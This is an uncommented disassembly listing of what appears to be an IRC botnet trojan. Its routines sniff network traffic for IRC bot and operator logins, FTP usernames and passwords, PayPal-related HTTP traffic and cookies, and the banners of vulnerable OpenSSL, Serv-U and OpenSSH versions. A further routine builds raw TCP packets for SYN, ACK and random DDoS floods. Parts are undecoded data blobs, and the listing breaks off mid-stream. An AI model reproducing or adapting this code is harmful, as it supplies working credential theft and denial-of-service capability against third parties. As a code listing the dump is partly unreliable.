--------------------------------------------------------------------------- loc_412EC4: ; CODE XREF: sub_412EAA+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412EC0 push offset aJoin_0 ; "JOIN #" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412F0C loc_412F08: ; CODE XREF: sub_412EAA+71j ; sub_412EAA+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F0C: ; CODE XREF: sub_412EAA+5Cj push offset a302_0 ; "302 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a366 ; "366 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_login_0 ; ":.login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset aLogin_1 ; ":!login" push esi call sub_41C080 pop ecx test eax, eax pop ecx loc_412F4E: ; DATA XREF: ___:off_43A508o jnz short loc_412F08 push offset aLogin_0 ; ":!Login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_login ; ":.Login" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset a_ident ; ":.ident" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412F08 push offset aIdent_0 ; ":!ident" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz loc_412F08 push offset a_hashin ; ":.hashin" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz loc_412F08 push offset aHashin ; ":!hashin" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EAA endp ; =============== S U B R O U T I N E ======================================= sub_412FC1 proc near ; CODE XREF: sub_4131AA+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_412FDB loc_412FD7: ; CODE XREF: sub_412FC1+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412FDB: ; CODE XREF: sub_412FC1+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FD7 push offset aOper_0 ; "OPER " push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413001 loc_412FFD: ; CODE XREF: sub_412FC1+4Fj ; sub_412FC1+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413001: ; CODE XREF: sub_412FC1+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FFD push offset aOper ; "oper " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_412FFD push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412FC1 endp ; =============== S U B R O U T I N E ======================================= sub_413037 proc near ; CODE XREF: sub_4131AA+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413051 loc_41304D: ; CODE XREF: sub_413037+29j ; sub_413037+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413051: ; CODE XREF: sub_413037+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41304D push offset aNick_1 ; "NICK " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41304D push offset a220 ; "220 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413088 loc_413084: ; CODE XREF: sub_413037+60j ; sub_413037+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_413037+4Bj push offset a230 ; "230 " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413084 push offset aUser_3 ; "USER " push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413084 push offset aPass_1 ; "PASS " push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413037 endp ; =============== S U B R O U T I N E ======================================= sub_4130BE proc near ; CODE XREF: sub_4131AA+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4130D8 loc_4130D4: ; CODE XREF: sub_4130BE+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4130D8: ; CODE XREF: sub_4130BE+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130D4 push offset aPaypal ; "paypal" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_4130FE loc_4130FA: ; CODE XREF: sub_4130BE+4Fj ; sub_4130BE+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130FE: ; CODE XREF: sub_4130BE+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aPaypal_com ; "paypal.com" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4130FA push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4130BE endp ; =============== S U B R O U T I N E ======================================= sub_413145 proc near ; CODE XREF: sub_4131AA:loc_41356Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_41315F loc_41315B: ; CODE XREF: sub_413145+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41315F: ; CODE XREF: sub_413145+14j push offset dword_4290D4 push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41315B push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_413185 loc_413181: ; CODE XREF: sub_413145+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413185: ; CODE XREF: sub_413145+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_413181 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C080 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131AA proc near ; DATA XREF: sub_401AC7+429Eo var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C2A0 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4C9318 lea eax, [ebp+var_3B8] push eax call dword_4C9388 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CAB0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413250 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413250: ; CODE XREF: sub_4131AA+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4C9330 cmp eax, 0FFFFFFFFh jnz short loc_4132C6 call dword_4C9298 push eax lea eax, [ebp+var_2B8] push offset unk_437098 push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132A2 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h loc_4132A2: ; CODE XREF: sub_4131AA+D6j lea eax, [ebp+var_2B8] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_34] call sub_40B6C9 pop ecx push ebx nop call near ptr 2700000h loc_4132C6: ; CODE XREF: sub_4131AA+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4C92B0 cmp eax, 0FFFFFFFFh jnz short loc_41334C call dword_4C9298 push eax lea eax, [ebp+var_2B8] push offset unk_437068 push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_413328 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h loc_413328: ; CODE XREF: sub_4131AA+15Cj lea eax, [ebp+var_2B8] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_34] call sub_40B6C9 pop ecx push ebx nop call near ptr 2700000h loc_41334C: ; CODE XREF: sub_4131AA+13Cj mov esi, 200h loc_413351: ; CODE XREF: sub_4131AA+1D6j ; sub_4131AA+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4C931C cmp [ebp+var_113AF], 6 jnz short loc_413351 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413351 cmp [ebp+arg_0], 19h jz short loc_413351 cmp edi, 6Eh jz short loc_413351 cmp edi, 19h jz short loc_413351 push [ebp+var_113AC] call sub_412E9B pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C006 push [ebp+var_113A8] call sub_412E9B add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C006 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B960 add esp, 10h test eax, eax jle short loc_41344F loc_41341B: ; CODE XREF: sub_4131AA+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413432 mov byte ptr [eax], 20h loc_413432: ; CODE XREF: sub_4131AA+283j cmp byte ptr [eax], 0Ah jnz short loc_41343A mov byte ptr [eax], 20h loc_41343A: ; CODE XREF: sub_4131AA+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B960 cmp [ebp+var_4], eax pop ecx jl short loc_41341B loc_41344F: ; CODE XREF: sub_4131AA+26Fj cmp [ebp+arg_0], 50h jz loc_413502 cmp edi, 50h jz loc_413502 lea eax, [ebp+var_1138C] push eax call sub_412EAA test al, al pop ecx jz short loc_413496 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437034 jmp loc_413531 ; --------------------------------------------------------------------------- loc_413496: ; CODE XREF: sub_4131AA+2C7j cmp edi, 50h jz short loc_413502 lea eax, [ebp+var_1138C] push eax call sub_412FC1 test al, al pop ecx jz short loc_4134CC lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437000 jmp short loc_413531 ; --------------------------------------------------------------------------- loc_4134CC: ; CODE XREF: sub_4131AA+300j cmp edi, 50h jz short loc_413502 lea eax, [ebp+var_1138C] push eax call sub_413037 test al, al pop ecx jz short loc_413502 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436FCC jmp short loc_413531 ; --------------------------------------------------------------------------- loc_413502: ; CODE XREF: sub_4131AA+2A9j ; sub_4131AA+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_4130BE test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_41356F lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_436F94 loc_413531: ; CODE XREF: sub_4131AA+2E7j ; sub_4131AA+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C100 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413351 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409862 add esp, 14h jmp loc_413351 ; --------------------------------------------------------------------------- loc_41356F: ; CODE XREF: sub_4131AA+36Ej call sub_413145 test al, al pop ecx jz loc_413351 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_436F5C jmp short loc_413531 sub_4131AA endp ; --------------------------------------------------------------------------- byte_41359D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+64A2o dd 494EC81h, 458B0000h, 0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch dd 80C7A5F3h, 290h, 1, 0D7B0E890h, 0E8500229h, 8A88h, 0FE74858Dh dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 4370C468h dd 3E85000h, 3300008Ah, 20C483F6h, 75F87539h, 858D5620h dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h dd 6238E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh, 26B5E8h dd 70B5FF00h, 0E8FFFFFDh, 0FFFF8085h, 90565959h, 2EC9B3E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41364F proc near ; CODE XREF: ___:004139C6p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4C9274 test eax, eax jz short loc_41368F xor eax, eax jmp loc_413982 ; --------------------------------------------------------------------------- loc_41368F: ; CODE XREF: sub_41364F+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4C93A8 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_41397A push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4C92E4 cmp eax, 0FFFFFFFFh jz loc_413970 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4C9304 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4C9304 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4C9304 mov [ebp+var_12], ax call sub_41C062 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4C9304 push 12345678h mov [ebp+var_14], ax call dword_4C9300 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41375F mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_41375F: ; CODE XREF: sub_41364F+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_41377B mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_41377B: ; CODE XREF: sub_41364F+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4137B3 call sub_41C062 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C062 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137B3: ; CODE XREF: sub_41364F+10Ej ; sub_41364F+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4C9304 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 27A043Ah nop lea eax, [ebp+var_1C] push eax nop call near ptr 27A014Eh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DA20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413801: ; CODE XREF: sub_41364F+2E2j ; sub_41364F+2F0j mov [ebp+var_4], bx call sub_41C062 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4C9304 mov [ebp+var_14], ax call sub_41C062 mov edi, eax shl edi, 10h call sub_41C062 or edi, eax push edi call dword_4C9304 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4C9300 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4C9304 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CAB0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA53 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CAB0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD10 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA53 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4C9368 cmp eax, 0FFFFFFFFh jz short loc_413944 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27A014Eh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_41396D jl loc_413801 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_41396D jmp loc_413801 ; --------------------------------------------------------------------------- loc_413944: ; CODE XREF: sub_41364F+2CBj call dword_4C9298 push eax lea eax, [ebp+var_F4] push offset dword_4370EC push eax call sub_41C006 lea eax, [ebp+var_F4] push eax call sub_415CEE add esp, 10h jmp short loc_413970 ; --------------------------------------------------------------------------- loc_41396D: ; CODE XREF: sub_41364F+2E0j ; sub_41364F+2EEj mov ebx, [ebp+arg_8] loc_413970: ; CODE XREF: sub_41364F+78j ; sub_41364F+31Cj push [ebp+var_20] call dword_4C939C pop esi loc_41397A: ; CODE XREF: sub_41364F+5Bj call dword_4C925C mov eax, ebx loc_413982: ; CODE XREF: sub_41364F+3Bj pop edi pop ebx leave retn sub_41364F endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov esi, eax call sub_41BEF9 push dword ptr [esp+24h] mov ebx, eax call sub_41BEF9 mov edi, eax call sub_41C062 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_41364F add esp, 20h test eax, eax jnz short loc_4139D5 push 1 pop eax loc_4139D5: ; CODE XREF: ___:004139D0j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4139E4 dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h ; DATA XREF: sub_401AC7+667Bo dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h dd 19C9889h, 15FF0000h, 4C9384h, 89FFF883h, 5F75FC45h dd 929815FFh, 8D50004Ch, 0FFFC4485h, 71EC68FFh, 0E8500043h dd 85CEh, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3E8FFFFh dd 83FFFF5Eh, 858D14C4h, 0FFFFFC44h, 2280E850h, 75FF0000h dd 7C53E8C8h, 5959FFFFh, 81E89057h, 8D022EC5h, 46AF44Dh dd 6AFF3351h, 89505702h, 15FFF45Dh, 4C92E4h, 75FFF883h dd 9815FF5Dh, 50004C92h, 0FC44858Dh, 0BC68FFFFh, 50004371h dd 8555E8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5D8CE8FFh dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h dd 0FF7BDCE8h, 575959FFh, 0C50AE890h, 858D022Eh, 0FFFFFE48h dd 4415FF50h, 83004C93h, 5575FFF8h, 0FC44858Dh, 9C68FFFFh dd 50004371h, 84EDE8h, 0DC7D3900h, 20755959h, 44858D57h dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h dd 0FF5D25E8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h dd 0E8C875FFh, 0FFFF7B75h, 90575959h, 2EC4A3E8h, 8D106A02h dd 5057E445h, 81A7E8h, 0CC48300h, 0E445C766h, 0FF570002h dd 4C930415h, 45896600h, 48858DE6h, 50FFFFFEh, 934415FFh dd 358B004Ch, 4270B8h, 89E84589h, 0D6FF087Dh, 0FFF84589h dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh dd 1C680000h, 0C6000004h, 4CC08005h, 15FF4500h, 4C9304h dd 66D47D39h, 4CC082A3h, 1D896600h, 4CC084h, 863D8966h dd 0C6004CC0h, 4CC08805h, 1D888000h, 4CC089h, 8A3D8966h dd 74004CC0h, 846CE830h, 0D88B0000h, 0E808E3C1h, 8462h dd 0E3C1D803h, 8458E808h, 0D8030000h, 0E808E3C1h, 844Eh dd 16AD803h, 0C08C1D89h, 0EB5B004Ch, 44B5FF18h, 0E8FFFFFEh dd 0FFFF6DCEh, 15FF5059h, 4C9344h, 4CC08CA3h, 0E8458B00h dd 4CC090A3h, 841CE800h, 0B9990000h, 100h, 1588F9F7h, 4CC094h dd 8409E8h, 0B99900h, 0F7000001h, 951588F9h, 0E8004CC0h dd 83F6h, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4CC096h dd 9A1D8966h, 42004CC0h, 98158966h, 0E8004CC0h, 83CEh dd 0FFB999h, 0F9F70000h, 0C09C6852h, 69E8004Ch, 83000080h dd 458D0CC4h, 50106AE4h, 41C6857h, 80680000h, 0FF004CC0h dd 15FFFC75h, 4C9368h, 74FFF883h, 845FF08h, 0FFFECAE9h dd 0FC75FFFFh, 939C15FFh, 15FF004Ch, 4C9298h, 48858D50h dd 0FFFFFFFEh, 68500875h, 437154h, 0FC44858Dh, 68FFFFh dd 50000002h, 83FFE8h, 18C48300h, 75DC7D39h, 858D5720h dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h dd 5B3CE8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh, 1FB9E8h dd 0C875FF00h, 0FF798CE8h, 575959FFh, 0C2BAE890h, 75FF022Eh dd 9C15FFFCh, 8B004C93h, 0D2330845h, 8B3CC06Bh, 0AE8C1C8h dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 437108h, 8280E850h dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0B7E8FFFFh, 83FFFF5Ah dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h, 7907E8C8h dd 5959FFFFh, 0C236E857h db 2Eh, 2, 90h byte_413DCB db 55h ; DATA XREF: sub_401AC7+547Do dd 20B8EC8Bh, 0E8000103h, 84C8h, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h dd 928C15FFh, 4589004Ch, 40858D08h, 50FFFFFFh, 934415FFh dd 0F08B004Ch, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh dd 938815FFh, 0C33B004Ch, 7D830674h, 5D75FF08h, 0FF40858Dh dd 8D50FFFFh, 0FFFCBC85h, 724468FFh, 0E8500043h, 81C2h dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF59F9E8h, 14C483FFh dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF7849h dd 90575959h, 2EC177E8h, 74C33B02h, 0C408B0Ch, 8B008Bh dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 7E68h dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h dd 1C15FF08h, 46004C92h, 7CC0753Bh, 875FFDAh, 93BC15FFh dd 858D004Ch, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 437218h dd 80F4E850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 2BE8FFFFh dd 83FFFF59h, 858D14C4h, 0FFFFFCBCh, 1DA8E850h, 75FF0000h dd 777BE8D0h, 5959FFFFh, 0C0AAE853h db 2Eh, 2, 90h byte_413F57 db 55h ; DATA XREF: sub_401AC7+56C6o dd 10B8EC8Bh, 0E8000103h, 833Ch, 5308458Bh, 496A5756h dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h dd 0CDF4E890h, 0E8500229h, 80CCh, 6A116A59h, 0FF026A02h dd 4C938415h, 33D88B00h, 8D106AFFh, 5057F045h, 7D67E8h dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 4415FF50h dd 83004C93h, 4589FFF8h, 8D757508h, 0FFFF5085h, 15FF50FFh dd 4C9388h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h dd 729868FFh, 0E8500043h, 8016h, 390CC483h, 2075E87Dh dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh dd 0FFFFFECCh, 0FF584DE8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh dd 